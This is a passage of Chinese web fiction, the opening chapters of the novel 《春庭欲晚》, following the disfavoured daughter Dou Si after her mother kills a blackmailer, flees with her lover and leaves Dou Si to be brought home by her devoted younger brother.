《春庭欲晚》 1. 弟弟 《春庭欲晚》全本免费阅读 得知窦平宴归家时,窦姀还在窗边绣花①。 窦姀今年十五,是窦家最不受重视的庶女。府里真心待她的人,一边手都数得过来:一个是她的亲娘马姨娘,一个是弟弟窦平宴,一个是...... 如果仔细想想,好像找不出第三人了。 九岁那年,窦姀曾被一个道士算过命,说是“天命不详”,与老太太命格相克。从那时开始,便遭人唾弃。老太太厌恶她,连带着府里上下的丫鬟婆子也轻看她。 于是,她就被送去乡下庄子住了两年,十一岁时才重回窦家。 没想到刚回窦家没两年,老太太就病死了。 窦府许多人都觉得是她克死的。兄弟姐妹们冷落她,避她如蛇蝎,只有一人例外——那便是窦平宴了。 窦平宴是她的弟弟,正房大娘子嫡出。说是弟弟,其实也没小几岁,与窦姀是同年所生。 窦平宴可是整个窦家的眼珠子,最最风光霁月的存在。 他自小聪慧识学,上进好读,年纪轻轻便过了乡试。三个月前跟着叔伯外出游学,终于也要回家了。 入了秋后,一天比一天要冷。窦姀的绣工很好,寻思给弟弟绣个寒冬用的暖帽。 只是她一个时辰前去管事那儿领些做帽的好毛皮,却被人赶了出来。 管事的婆子看都没看一眼,一口便回绝:“这些毛皮主君、大娘子都紧着用,哪有多余的份额给姑娘您呢?” 窦姀人微言轻,没有办法,只能离开。 黑夜,梨香院的屋里透出暖光。 窗前的案上燃了盏滕花烛台。窦姀坐在案边,针线都还在手,却对桌面的琥珀、松绿玉犯了难......这些玉石她费了好大功夫才得来的,原本准备绣好,嵌在暖帽上的。现在没有绣帽子的毛皮,该怎么办呢? 正寻思之际,院子门前忽然有人喊道:“二郎君来了!” 她抬头之间,便见一人步履生风进屋,轻轻唤了声,阿姐。 … 窦平宴这趟从苏州回到江陵,一路车行,风尘仆仆。傍晚刚赶到家时,天又下起毛毛雨,沾得他衣袍微湿。 窦姀即便早知道他要归家,真正见到人时,不由神识一怔。 好久没见了。 从盛夏到深秋,三个月过去,他和她记忆中的模样好像又有偏差了——他长高了不少,现在将将高出自己半个头,容貌眉眼越发的清俊。只是眼下有淡淡青痕,可见并没有睡好。 窦姀性情懒散,旁人不喜欢她,她也不爱多说话。可对于弟弟却是不同,听到他快到家,已经盼望了好几天。 她假装不认识,探头来来回回瞧了半晌:“这是谁家小哥啊,好生脸生,怎么从前没见过?” 说完起身,转头便要招呼人来沏茶待客。 窦平宴连忙拉住手臂,目光却停来,轻轻一笑:“我回来了,阿姐欢喜吗?” “不欢喜。” 窦姀半开玩笑地把针线往桌上一丟,也不看他,“这么久没回来,怕是寻见什么漂亮妹妹了罢?” 窦姀一说,他也连带着笑。 窦平宴捡起她的刺绣,上面绣的是一双鸳鸯。他认真瞧了瞧,淡然笑道:“早知道阿姐也不欢喜我回来,我犯什么傻,见过母亲之后,偏要赶着来见你,真真是真心付错人。” 姐弟两个感情很好。 窦平宴待她,比其他几个姐妹要亲厚些。 其实更小的时候,窦平宴远不比现在这样能说会道。儿时的他沉默少言,不爱理人,却乐意和她这个姐姐多说几句……窦姀想,或许因为自己是家里最不受待见的庶女,他看旁人怠慢轻贱,便多了这些怜悯之心。 窦平宴这趟从苏州游学,带回来许多只箱笼。 他说有好东西要给她看,话音落下,便见两个小厮抬着一口大箱笼进来,足有半人高。打开,有各种丝线,绫罗绸缎。贵价的金丝银丝倒还另说,更甚者是不常见的珍珠丝。箱笼里还有难寻的芙蓉绸、青?面。 窦姀只一眼,一时愕然住:“这些......得费上多少钱财?” 他却微笑,“苏绣的名声冠天下,听闻绣巷卖出的染线有百种之多,阿姐又擅女红,我便寻了这些。但收下无妨,两个姐姐要议亲了,我也给她们带了不少,母亲不会说什么。” 窦姀是窦家的第四女,上头还有三个姐姐。 大娘子没有生女儿,三个姐姐和窦姀一样,也都是不同姨娘生的。 大姐在前年出嫁了,嫁的是江陵世家。二姑娘和三姑娘,年方十七,都比窦姀大,正是到了议亲的年纪。 今早有媒人上门相看时,窦姀的亲娘,也就是马姨娘,特特催她去给大娘子请安奉茶。 窦姀哪能不懂马姨娘的心思? 之前马姨娘便老耳提面命地说:女儿家这辈子的落脚无非找个好郎君、好归宿,像你大姐姐那样。正是因为你爹和主母不重视你,自个儿才要更加卖力地往上爬!姨娘的话,你知晓了没? 可惜窦姀偏偏是个不上道的人。 无论马姨娘怎么唠叨,她总是左耳进右耳出。 今早马姨娘为了让她在媒人跟前露露脸,非逼着她赶在前头给大娘子请安。 主屋里有她两个议亲的姐姐,大娘子和媒人在里头谈笑。窦姀不想落了刻意,索性便躲在屋檐下,拿一根树杈挖蚁洞。 等到日近中午,媒人走了,大娘子的丫鬟瓶翠看见她,问:四姑娘,您在这儿做什么呢? 窦姀这才抬头,慢悠悠说:姨娘让我来给大娘子请安。 瓶翠愣了一下,看看这大日头......请安?瓶翠想了想刚离开的媒人,顿时明白了点东西。 面上虽不显,心下却嗤笑这四姑娘真是个傻不愣登的,马姨娘想让她来露脸,偏偏她胆小如鼠,人走了才冒头。 瓶翠回头,就把这事跟大娘子说。大娘子一边吃着茶,琢磨了会儿,也觉得傻得可笑。 这厢窦平宴回来,窦姀很高兴,拿出上个月攒下的好茶招待他。 她出屋,先唤了两声春莺。 春莺九岁时候被买入窦家,是梨香院的丫头,跟着窦姀有五年了。 今晚很奇怪,窦姀找不到春莺,又没在梨香院看见马姨娘和婆子们的身影。 她们都去哪儿了......? 窦姀怕弟弟等久了,索性自个儿先行。 夜风靡靡,她把 2. 逃亡 《春庭欲晚》全本免费阅读 横陈地上的婆子尸体......和马姨娘惶恐急切的神色,窦姀反应过来,下意识的害怕不已。 姨娘是不是杀人了! 马姨娘把她的手抓得很紧,并没有多解释的意图,拽上窦姀就往外走。 他们梨香院坐落在窦府最西边,出去没几步路就是角门。 往日的角门都有六个小厮守着,今晚这时候却没人。 窦姀被马姨娘拉得踉踉跄跄,心头害怕,话都来不及问,马姨娘从袖里掏出钥匙,利索开了锁,一把拽着女儿出了门。 天色很黑,屋檐下的灯笼高高照。 门外停了一辆马车,有个驭马人坐在前板等候。窦姀刚辨认出此人是张伍,是主君常用的马夫,就被马姨娘推着上了车。 马姨娘也进来,随后探头轻轻一喝:“快走!”张伍得了信,立刻扬起马鞭,驶车飞奔。 马车驶得极快,窦姀起先没坐稳,脑袋栽倒马姨娘怀里。马姨娘紧紧抱住她,“姀姐儿,姀姐儿,我们母女俩能不能活就看这回了!” 窦姀现在都没明白,到底发生了什么。 她发懵地从姨娘怀里挣出来,甚是惊惧地看她:“你......你是不是犯事了?苗婆子为何倒在地上?姨娘,你别吓我,你是不是杀了她......” 马姨娘脸色发沉,点点头,又摇摇头。 眼见窦姀急了,马姨娘立马撇清道:“不,我没杀她,苗巧凤只是被我药昏了。姀姐儿,我是杀了别人!” 马车飞得不稳,马姨娘的声也跟着颤:“你还记不记得,以前老太太尤为信鬼神。你九岁那年,家里来了个算命瞎子,说你不祥,险些就把你带走了!后来是我找了个新的算命道士,偷偷顶替了他,这才保下你的,只是送去庄子住了两年!” 庄子的那两年浑浑噩噩,有多苦,怎么熬过来的,窦姀如今已是不堪回想。 可她仍旧一头雾水,问:“跟这有何相关?” 马姨娘恨恨咬牙:“后来那新道士在我身上发现了点东西,一回回向我索钱,先是五十两,再是一百两、两百两......这回竟是想要五百两!若我不给,他便要把我偷汉的事抖落出去,让整个窦家都知晓!我、我只能杀了他!他死了两个月了,现在官府快要查到我头上,只怕掩不了多久!” 窦姀听到最后一句,神魂一震,仿佛被雷打了般。 车舆一晃一晃,木窗被帷幔遮得严实,丁点气都不透。里头没有灯笼,昏暗寂寂,只有两人彼此交错的气息。 她忽然觉得头胀,好像活着梦里一样,一时回不过神,气也忘记喘了。 马姨娘瞧这愣愣的神情,知道话突然,生怕女儿吓傻在半路,急忙拍她脸颊。窦姀好半晌才回味过来,呆呆地问:“姨娘,你跟谁私通了?” 马姨娘不说话,唇抿成一线。 马车还在飞快地跑,窦姀脑袋嗡嗡,不敢置信地靠在木枕上。 她还有个哥哥,窦平彰,大她六岁,已经迁出梨香院住了。马姨娘也把他当眼珠子疼,今晚跑路却没带哥哥,只带了她...... 窦姀倏地意识到一骇人的事—— 哥哥是家里亲生的,而她不是窦家的女儿! 她不是,她不是.....原本以为,别人嫌自己天命不祥,已经是很糟的事了。没想到这样糟的事永远没有下限,她竟不是窦家的女儿。 窦姀不敢信,想求证姨娘是不是,可是到口的话却像瘪了气的球,问不出来。哪能料不到结果呢?都是不尽人意的。 “姨娘,”最后只有这么怔然地一问,“那我是谁的?” 就在此时,车舆剧烈晃动,张伍的声音从外头传来——“后头有人追来了!绫玉,咱们得换道走!” 绫玉是马姨娘的名,窦姀都没见过爹爹这么喊过她。然而这个马夫却能唤得如此自然……当中苟且简直明了。 马姨娘沉着脸掀开帷幔,往车窗外望,后头追来的人马卷起尘土,声势浩大。 那些追兵看不出是窦家的,还是官府的……但无论落到谁手上,都是死路一条。马姨娘想了想,当机立断道:“换第二条道,往长平街的方向去!” 江陵不同于别的州县,就是江河多。窦姀知道,长平街的尽头有个乘船的古渡口,自前朝开始就有了,来往漕运,热闹非常,迎四方货物。 而马姨娘想要长平街去……无疑是想去码头,乘船离开。 天上又下起毛毛小雨,打湿了整个江陵。 现在窦姀还僵坐着,意识到即将要和姨娘离开江陵,有些措手不及。马车驶得太快,摇摇晃晃,突然“砰”的一声,一枚玉珏从她袖中掉了出来。 窦姀弯腰,却被马姨娘先一步捡起,塞进她手里。 马姨娘瞥了一眼玉珏,“这是宴哥儿的吧?” 窦姀点点头,收入怀里。 “难得他待你有这份心,我记得这玉珏还是他出生那年,主君特地跑去观音山求的。府里的主子下人都势利,他倒是少见。” 马姨娘不说还好,这么一说,窦姀便想起屋檐下,窦平宴一边认真烧水,一边说,“这个家里,阿姐与我相依为命……我们姐弟要在家中相伴一辈子……” 窦姀很清楚,若是今日一走,恐怕再也不会回江陵了。整个中原多少州县,车马倥偬,所行又是山高水远,不管要去哪,他们姐弟俩这辈子也见不到了吧? 张伍驭马的手艺很好,在街巷中七弯八绕的,就甩开了追兵。马姨娘再往窗外探,已经看不见后头黑影了。 马车在江前的码头停下。 杆上黄灯高挂,浩荡的江面飘起濛濛薄雾。寂静夜色下,江面停泊船只有很多,有商贩漕运用的楼船、平船,也有许多叶竹筏小舟,只是没怎么看见船家。 马姨娘很是急切地拉女儿下马,但是一下来,人却愣住了。 张伍将头顶的斗笠摘下,抬眼眺望,奇怪道:“那赶船的徐老三呢?怎没瞧见人在哪?” 天上还在下着毛毛小雨,窦姀眼睫被水珠沾湿,沉得张不开。 她现在仓皇无措,不停用手揉着眼眸,时不时望望烟雨的江面。 马姨娘久看不见人,索性急道:“没准是停哪儿了!时辰不多了,我往东走找找,你往西走找找,找着了咱们会头!” 说罢,马姨娘似是又想到什么,把窦姀往张伍跟前带了带,一咬牙道:“姀姐儿交给你!你是她爹爹,又懂些皮毛功夫,比我能护得住她!” 窦姀不安,急忙想牵姨娘的衣袖,可是马姨娘已经提步往东赶了。 “姨娘...”窦姀的眼泪蓄起。 容不得她急,张伍只很快看来一眼,没有说话,拽住她往西走。 张伍是个习武的粗人,面庞黑黝,身长八尺①,形容孔武有力。他腿长,步子也大,拉着窦姀的胳膊,走得又快又莽,窦姀迈得吃力,勉强能跟上。 渐渐地,雨势变大。 原来的毛毛雨凝成水珠,噼里啪啦打落下来,他们的衣裳都湿浸头了。窦姀从来没有这么狼狈过,发髻也湿,发丝一缕缕的沾在鬓边。 她走得踉踉跄跄,忽然,一个不稳当,玉珏又从袖中出来,落进泥土里。 她想要去捡,可是张伍却丝毫不停,又往前跑了好几步。窦姀急急道: 3. 迷茫 《春庭欲晚》全本免费阅读 他从袖里抽出方帕,擦拭她湿漉漉的脸。擦完脸,又拾起发丝捻干。 窦姀片刻后缓过神来,挣扎着起身,刚想说话,便有家丁骑马从江的另一岸过来,气喘吁吁地禀报:“二郎君!马姨娘乘船走了,眼下找不到能用的船只,我等根本追不上!” 窦姀闻声怔了怔,明明该为姨娘的逃命而庆幸,自个儿却显然有些落寞。 她的脑袋充杂了太多事,现在沉沉的。 窦平宴看了她一眼,对家丁说:“追不到就算了。昌叔带的人还在长福街追捕,你过去跟他知会一声,让他不用再找了,先行回府。至于四姑娘,我会带回去。” 昌叔是窦府管事的,今晚窦洪得知消息后,勃然大怒,本只派了他来追人。窦平宴当时就在一旁,是自请跟来的。 家丁点点头,策马离开。 窦平宴望向平阔的江岸,马姨娘和张伍的小舟已经没影儿了。不知想了什么,须臾后回神看窦姀,抬手拂去沾在她衣袖的沙土。 “阿姐,我们回家罢。” 窦平宴拍拍手站起,顺道掺了她一把。 窦姀的脸色有些迷惘,不知自己该做什么。不知不觉中,她被弟弟推着上了马车。 等到马车摇摇晃晃地启动,她好像才意识过来,突然抓住窦平宴:“不......我不要回去!” 衣袖被她紧紧地抓住。 窦平宴看了眼,出声安抚道:“阿姐,我已经知晓了。但马姨娘私通之事与你无关,你也是不知情,所有人都怪不到你头上。” “不...不是...” 她忽然耷拉下眼皮,松开手,整个人像只泄气的球儿,“我不是父亲的女儿,姨娘说我是...”窦姀卡了下,话好像刺在喉咙,说不出。突然有些哽咽,想起姨娘,泪珠子更是悄悄冒出,啪啪的掉在手背。伤心之际,肩膀忽然被人一揽,落进一个暖实的怀中。 那人轻轻拍着她的背,她哽咽平息了些才道:“姨娘说我是别人的。二弟弟,我绝不能回去。我娘让主君蒙羞,窦家容不下我的。主君一定会发卖了我,要么就是给条白绫了结......” 窦姀有些失意,泪水不知不觉,已经将他胸口沾湿了一大片。 车舆内昏暗,窗外濛濛的细雨都浸没在车轱辘声里。窦平宴仍就揽着人儿,仿佛若有所思。静了静心,才轻声笑道:“胡说八道,阿姐什么都不知,怎就编排起自个儿的身世?有我在,阿姐勿怕...” 事情来得太突然,马姨娘又离开了,窦姀压根听不进他的话,嘴上只喃喃着绝不能回去。 她太清楚这样的身世,回到家中会面临什么了。 当年家里就是因为一句鬼神之言,将她一个人孤零零送去庄子住,身边只有一个婆子陪着。那两年,早已将她的心性磨得如一块平石,谨慎少言,懒散避世。可如今得知这样突然的事,她的心神竟又剧烈晃动起来。 窦平宴见她此时心绪不稳,若不顺着,大有跳车而跑的举动。他实在无法,只能先打消回家的念头,让马车改了方向,先找一家客栈入住。 ...... 话说这头马姨娘乘着徐老三的木筏,成功甩开岸上的追兵。 木筏的竹竿上绑了一盏油纸灯,徐老三被马姨娘催着,卖力划着船。漂到江的正中时,忽然看见一只小舟朝他们的方向来。 小舟上站着一个人,正拼命朝这儿挥手。虽然隔得远,马姨娘一眼就认出那人是张伍! 马姨娘本还焦虑他们没上徐老三的船,能不能躲过追兵。现在看见人,简直大喜过望,立马塞了两块碎银子给徐老三:“快,往江中心划!过会儿把我男人和女儿都接来!” 徐老三得了银子,高兴,胳膊捣腾得更加快。他眼睛好,隔着江远远一望,却奇道:“欸,那船上只有一个划桨老叟,一个男人,没瞧见你女儿啊?” “你胡说什么呢!我男人都在了,女儿能不在嘛!” 马姨娘拔高嗓子,见怪地反驳。可是嘴上这么一说后,心里越来越没底了。 她急得搅手帕,等到两只船彻底会面,张伍从另一船跳过来。马姨娘焦急地往他身后张望,“怎么就你回来了,姀姐儿呢?” 张伍有些丧气:“她……她被窦家的人带走了……” 张伍见马姨娘有些激动,连忙握住她肩头,自个儿都十分愧疚:“绫玉,是我没用,没能护得住她!那时窦家的人追来,我情急之下带她跳了江!可是我们游不过他们,他们拦住了我的去路,说,只要我松开姀姐儿,二郎君就放我走。是我没用……” 马姨娘知道自个儿怪不到张伍身上,他若不放人,就会一起被押回窦家。可她颇为惊讶的,张伍竟被窦平宴放了条生路。他本是会被人生擒了的…… 马姨娘沉默了半晌,终于道:“宴哥儿那孩子心地善良,平日看着虽沉默寡言,却是个重情义的。姀姐儿落到他手上,倒也不算太糟……可是我却担心,窦家会卖掉她的!” 张伍的脸色亦是沉重。 小舟轻轻摇摇地漂在江上,若按原先马姨娘的计划,原本和徐老三约好了,这只乌篷船会送他们抵达扬州。他们隐姓埋名,重新过日子。 可是今夜事故突发,反打她一个措手不及,现在窦姀也被带回去了,马姨娘开始忧心。 她和张伍两人好不容易逃出生天,马姨娘很清楚,自己肯定不会再冒险回窦家。 可是她的女儿……她又该怎么办呢? “不然我捎个口信,偷偷托人去求一下宴哥儿吧!求他帮我把姀姐儿带出来!”马姨娘心急道:“宴哥儿既然私下放过了你,可见他并不想对我们赶尽杀绝!他和姀姐儿亲厚,或许也愿帮她离开……” 张伍也觉在理。如今马绫玉失手杀了人,他帮忙遮掩。官府追捕下来,他二人定然不能在江陵再待。最好的出路便是去下个州县先待着,再托人暗中捎口信。 ...... 深夜,此时已到亥时三刻。 窦平宴从掌柜那儿要了两间厢房后,便有跑堂的小二引他们上楼。 “阿姐先在这睡一宿,余下的我们明日再议。” 窦平宴点燃两盏火烛,屋里顿时亮了 4. 巷子 《春庭欲晚》全本免费阅读 “阿姐,你告诉我。为何哭了,因为姨娘么?” 窦姀不肯说,他也不再问了,索性陪她坐着。 夜里很冷,姨娘又抛下她走了,窦姀忽然觉得秋风簌起,身凉心更凉。她突然开始恨那个男人,他凭什么拐跑姨娘,姨娘为何要认识他!他们都走了,就这么留下她。 她眼睛早就哭肿,干涩了,已经很难流出泪。过了片刻,忽然说道:“弟弟,你借我点银子吧,十两就好了。” 窦平宴倏地看过来,并没有答应,而是警惕地先问:“你想做什么?” “我想找个地方躲起来,避一阵。等风头过去,我就投奔外祖家。” 她这并不是一时兴起想到的法子,而是苦思良久的。姨娘通奸的事已经被父亲察觉了,自己一个野种要是回去,只怕会被窦洪气得活活打死,发卖都算轻了!她不能回去,绝对不能回去! “躲你外祖家去?” 窦平宴好像听到了天大的笑话,突然抓起她的手腕:“你知不知道,你姨娘是被她爹娘以二十石米粮卖到家里的!只怕她还没跟你说起过罢?你要回去,那家人敢窝藏你吗?就算他们是藏了,也是为了日后卖掉你,又步上姨娘的后尘!” 窦平宴一通气说完,忽然意识到刚刚声大了。 窦姀垂着头,咬着唇皮。硬扯着把手腕从他掌心扯了出来,“你抓疼我了......” 他有点不是滋味,也没敢看她,别开眼,声小了几分,像是在喃喃:“我们一个屋檐下过活十几年,我舍不得阿姐。你勿担心,父亲那头有我应付,赶明儿一早我就回去。” 窦姀这一觉睡到翌日晌午。 一醒来,便瞧见枕边窦平宴留下的字条,大约让她先在客栈安心住着。 这座客栈一共二楼,做借宿,也做酒家生意,来来往往的人很杂,窦平宴信上说把小厮小年留给她。 窦姀开门看了一圈,厢房外廊上并没有小年的身影。正寻思人去哪了,忽然就被窗外的动静震慑住。 “打死他!都别怕,咱主君指明说了,要往死里打!” 那是一条狭小的巷子,五六个壮硕的大汉整对着一人拳打脚踢。被围殴的人缩成一条,紧紧抱住头,竟是一声也不吭。 “不清不白的,也不知他娘跟哪个野鸡生的,还真把自己当爷了!” 领头的人狠狠呸了声,哈哈大笑。 人被抡着砸着,血已经流了满地。 窦姀本在窗边,听到这最后一句,忽然身子微微颤抖,如溃散乱爬的蝼蚁,已不敢再看,想走。 临走又有些不忍,便去厢房里端来净脸的水,一言不顾地哗哗往窗外倒—— “他娘的,谁啊!找死……” 咒骂声在“砰”的一阵关窗中戛然而止。 窦姀迅速跑进房里,关紧门,倒了两口茶给自己定心。 镇静之后开始有点懊悔,方才怎就那么大胆了?那伙人瞧过去五大三粗的,万一急眼了上来找她麻烦呢…… 算了,管它呢。这几间厢房邻着,他们怎知是谁倒的水,她打死不认就成了。 窦姀在屋里等了半晌,忽然听到砰砰砰的敲门声。力道不大,节奏平缓。 她踱着步子到门边,谨慎问了句是谁。听见小年的声音,可算放心给开了门。 小年是窦家从人牙子手上买的,八岁就跟着窦平宴,窦平宴走哪他去哪,所以与窦姀也很熟悉。 她迅速把人拉进厢房,又关上门,上上下下打量一圈,问道:“你方才去哪了呀,我都没瞧见你人。” 小年长得很干瘦,嘿嘿一笑,脸颊凹出酒窝来。 他拎起手里的纸袋,说:“小的给姑娘买吃的去了。二爷嘱咐过,让姑娘轻易不要出去,外面人杂的很。这些烧饼和小菜,能够今日吃上两顿!” 听他这么说,窦姀心里却有些发酸。她见小年来回跑得气喘吁吁,便倒了一盏茶递来,让他坐下歇两口。 等他歇好了,窦姀也坐下,便说:“以后你们不用再叫我姑娘了,我也回不去窦家。现在家里人人都知晓,姨娘是偷汉子才生的我,又杀了人,还瞒父亲这么多年。” “这……这……” 小年腾得站起,沉默良久,憋出一句话:“主君是知晓了,但也只是大发雷霆,并没发话要赶走姑娘走啊!” 发没发话是早晚问题。 人言可畏,府里其他姨娘又不喜欢她,少不了撺掇几句难听话。只怕自己回去,下场比赶走还不如。 窦姀默默想着,走到床头,从枕头下摸出一件物什。 “小年,咱俩认识少说都有……”窦姀掰着手指头数,“八年了吧?现在,我有一事想求你……” 她把攒丝珠花的银簪递出去,“你去长平街的码头,四处打探一下,看看能不能找到一个叫徐老三的人。要是能找到,你就跟他说,我在福顺客栈里。这银簪你拿去当铺卖掉,一半是谢你跑腿的,一半你拿给徐老三。” 窦姀又说:“此事算是求你了,我再找不到能帮忙的人了!” 也不敢让小年多带话,怕他知道就是徐老三送马姨娘和张伍离开的。小年即便同她再好,却也是弟弟的人。 若是姨娘还愿意回来找她,必先会找上这个划船的徐老三。只要徐老三知道她在哪,那姨娘也会知晓她在哪的! “这徐老三是?” 窦姀心虚地扯谎说:“是我小舅,日后我要是被赶出窦府,只能在外祖家过活了,提前知会他们一声也好。” 小年噢了一声,没多想就应下:“姀姑娘吩咐的事,我一定做到!反正长平街离这儿也不远,小的去去就回。” 窦姀没想到竟如此容易说动了小年,这口信一出去,她心也跟着踏实不少。 好不容易逃出江陵,回来这么危险,姨娘真的会想接自己吗? *** 小年离开后,窦姀躺床上空想许久。可这客栈门不能出,她又显得无事可干。索性便趴在窗边,眺望街上的车水马龙。 傍晚时分,天忽然变了,乌云密布。 5. 人命 《春庭欲晚》全本免费阅读 窦姀老实地摇头。 她不知道他是什么人,之所以相帮他,是因为清早听到他们辱他的话,说他身世不清白,畜牲所生。 “我们其实是一样的人呀。” 那人狼吞虎咽啃咬馕饼,听到这句话,忽然瞥她一眼。 他打量着她,碧玉模样的小娘子,也不知道及笄了没。身穿秋香色的双蝶绣罗裙,钗环簪发,胸前是璎珞项圈,穿戴倒比寻常人家讲究许多。而自己一身的破烂,衣带沾血,被打的没块好肉,怎么瞧都不是一样的人。 怎么可能是一样的人... 他当她纯属施善心了,转眼眉毛一弯,凑上前乞求地笑道:“菩萨小娘子,您救我只要存一口气。您看我这腿都快断了,能不能行行好,借我点银子?三两就好,我这好了后必向各路神仙供奉吃食,求他们保佑小娘子您一辈子顺遂呢。” 他这话说的讨巧又好听,偏还这么个俯首作揖样,窦姀心痒痒,想着确实该借点银子给他。 可她摸了摸,才想起自己全身上下,银子是一点没有。对呢,她自己还想管旁人借...... 窦姀思量了下,便拨下头上两支玉簪,“我没有银子,但这应该值个三四两,你拿去当铺换钱吧。” 那人盯住她的掌心,面露难色。 窦姀忽然顿悟,扰扰头笑了:“噢,我突然想起你腿断了,爬不过去……” 他纠正道:“小娘子倒也不必说得如此笃定,只是‘快断’而已。小爷我福大命大,能好的。” 窦姀发窘道了声失礼,转转眼珠,又提议:“不如等我伙计回来,他力大,我让他掺着你去找郎中如何?” 那人双手合十,勉强笑了笑:“善哉。” 于是,窦姀便和他一块等小年回来。 这条窄巷邻着福顺客栈,小年若是回来,经过巷口她也能看见。只是深秋的雨夜清冷寂寥,实在不知要等多久。 他的血混进雨水里,地上一滩滩褐红,也难辨是水还是血。好像血流光了,力也散尽,不知道她的伙计和阎王究竟哪位先来。 他阖上眼,人早已精疲力竭:“更深露重,你这身板连缚鸡之力都没有,不怕有命来没命回吗?” “我命不好,指不定哪日就被收走了。” 窦姀时不时张望,随口说道。 他忽然睁开眼看来:“你信天命?” 她犹疑了会儿,点点头。 其实也不知自己信的是不是叫天命。姨娘从小也说她命不好,即便都是庶出,却连几个姐姐都比不得。她们掉几滴泪能让老太太和爹爹疼惜,只有她不能,旁人笑她还不及。 那人瞧了瞧她的脸,似乎看出什么来,随之摇头,置之一笑:“天命是庸人自扰的托词,什么命不好,怎样能算命不好?小娘子觉得天命不佑,便自弃如敝履,可这世间远有比咱更苦更难之人。有蝼蚁一样的人尚且挣扎着,譬如我,被人打的只剩一口气在。小娘子不挣一挣,怎知日子不会好起来?” 雨越下越大,窦姀凝思之际,风一吹,倒是卷着伞飞了。 她惊呼一声,追伞到巷口时,忽然看到一辆眼熟的马车停在街边。 那是一辆华篷流苏的香楠马车,珠帘布缎,车舆前挂着两盏赤红灯球,翠玉镶边,一看便知出之大户。 一人踩着杌子,在雨中撑伞而下。哪知眼一瞥,正巧看到了她,倏尔加快步伐,衣袖带雨地走来。 窦姀碰上人有些高兴,指着巷子里当即开口:“来的正好,那儿有个人......” “你怎么一个人出来了?小年呢?”窦平宴抓住她的手腕,蹙眉说,“雨这么大,快跟我回去。” 窦姀点点头,手指向那小巷子:“但是那……” 他顺着她的目光看去,似乎真有个人倒在墙角。一头暗恼她怎么不知对方是谁,就一股脑地下来。一头又想着回去要紧,便抬手唤了个马夫来,“你瞧瞧怎么回事,送人去看郎中。” 眼见着马夫应下跑开,窦平宴复拉上她的手:“阿姐,可行了?” 弟弟这么做再妥当不过,于是窦姀乖乖跟他回了客栈。 刚走进厢房,窦平宴转头问小年怎么不在。窦姀有些心虚,先倒水喝一口,就着自个儿编的谎说:“我让他给外祖家送信去了。” 他大概会恨铁不成钢吧?都那么千咛万嘱了,还是想去外祖家。不过再恨铁,也总比徐老三的事被弟弟、被窦家知晓强。姨娘的跑,不能白跑。 窦姀说完,已经做好受指责的准备了。 哪知窦平宴倒是想了会儿,并没继续说什么。看她杯盏见底,又垂着眸添手续水,递上来。 窦姀接过,有些见怪。正看向他,忽然听他说,“阿姐,庄婆子死了,死在梨香院的井里。” 窦姀一愣,手中的杯盏倏忽掉了,胸口喷薄出一股滞涩之气。 “你说什么?” 她不敢置信。 马姨娘身边这么多年,只有两个伺候的婆子,一个庄氏,一个苗氏。 庄婆子是个好人。 六年前窦姀被送去乡下庄子时,是庄氏陪她去的。那一年寒冬,她夜里突发高热,浑身烧得滚烫,是庄婆子背着她,一步一步,在雪地走了大半宿找郎中。 “庄氏是投井溺毙的,今早才被小丫头发现。庄氏是马姨娘的人,此事惊动全家上下,母亲便找来仵作化验。仵作说,庄氏身上并无与人拳脚相斗的痕迹,因此才断定,她是自尽。” 说罢,他握住她的肩:“阿姐,你节哀。” “自尽...…”窦姀低喃,仍在恍惚里。自尽,这很难说服,明明走之前庄婆子还好好的,被姨娘药倒的是苗婆子,也不是她啊。是有人在井边推她吗?还是有人逼她自尽? 可是庄婆子为人良善,胆小,只差不能跟窝囊挂钩。与人素来无怨。谁又那么想着她死? 窦姀忽然想到一个人——一个她怎么都不敢想、不能想的人。 窦平 6. 瓶翠 《春庭欲晚》全本免费阅读 第二日的晚上,一辆马车从福顺客栈驶出,送窦姀回府。 舆内昏暗,马蹄踢踏,珠帘轻响。窦姀头靠着木枕,眼前缓缓闪过昨夜小年回来时,告诉她的话。 小年说,他找到徐老三了。也告诉徐老三她人在福顺客栈,可这徐老三却说什么“你不用再等她,你娘也不来接你了,要你日后好生照顾自个儿”。 她当场听完便灰败无比。即便清楚姨娘亦有苦心,回来无异于自投罗网,可...窦姀想着,生出一股世事无力之感。 后来她便选择吃下那药,跟着弟弟回去。 此药的药效很快,她吃下没过一刻,脸颊便泛出可疑的红色。就连话从口说出,都虚弱不少。这些都是外在的假象,只有窦姀自己清楚,身上并没有任何不适。 当然,这些还不够,她得再装一装。 *** 夜市华灯初上,接窦姀回家的马车经过南街。 南街这块铺子繁多,有烤肉摊、煎饼摊,并些卖鸡鸭鹅鱼肉的贩子,还有素糕,瓜果素菜等物。再往下,有卖头面的、古玩的、各式百货小摊。人流如潮,车马阗拥。窦姀打起帘儿探头看,怎么看怎么新奇。 这么新奇的景儿,她以前没在晚上出来过,都不知夜市这么热闹。 眼睛再一望,便看见窦平宴在前头骑马的背影。他肩背宽阔,也挺得笔直。晚风一拂,衣袂波澜猎猎。窦姀有些恍惚,没想到日子过得如此快,他看上去似乎不再像记忆里受了委屈,由她安慰的那个人。 他已经长大了。 好久之后,马车终于来到垂柳巷,再往里走就是窦府。 垂柳巷虽远离闹市,却是旁人眼中的富贵街,在这儿住的人家极少,皆是非富即贵。窦洪今任江陵知府,从四品的地方官。窦氏是这一带响当当的大户。 窦姀乘着马车,从角门进了窦府。 甫一下车,便有昌叔等人候在此处。昌叔看见窦平宴下来,抬手招来个小子牵走他的马,说道:“二爷,主君找您过去。” 窦平宴回头看窦姀,“好,我去去就回。” 等到窦平宴一走,窦姀便用帕子掩住口鼻,重重咳嗽两声。昌叔闻声,注意到她这弱柳扶风的身子,惊呼:“姑娘怎病得如此重了?您再等等,老奴早让人去喊春莺了,也不知这小丫头怎还不来。” 未料说曹操,曹操到。 昌叔话音一落,立马有个人拿着斗篷,扑到她的脚前抱住,哭得那叫一个可怜:“我的姑娘,您可算回来了!” 眼见春莺还要再哭,不等窦妹发话,昌叔便把她一下提起,不耐烦地说,“得了得了,这么多小子盯着看呢,哭哭啼啼像什么样,没的给你家姑娘扫脸子!” 昌叔颇得窦洪和云氏器重,虽是一奴才,在府里却颇有威望。这么一吼,春莺倒是不敢哭了,把斗篷给窦姀披上后,便瘪了声站在一旁。 窦姀悄悄拍了春莺的背,心里却感觉很奇怪。为何主君只叫了弟弟过去,却没叫她?姨娘跑了,她又回来了,他的怒火怎么也会发在她身上才是。 昌叔是最常在窦洪跟前走动的人,心意他也能体察一二。 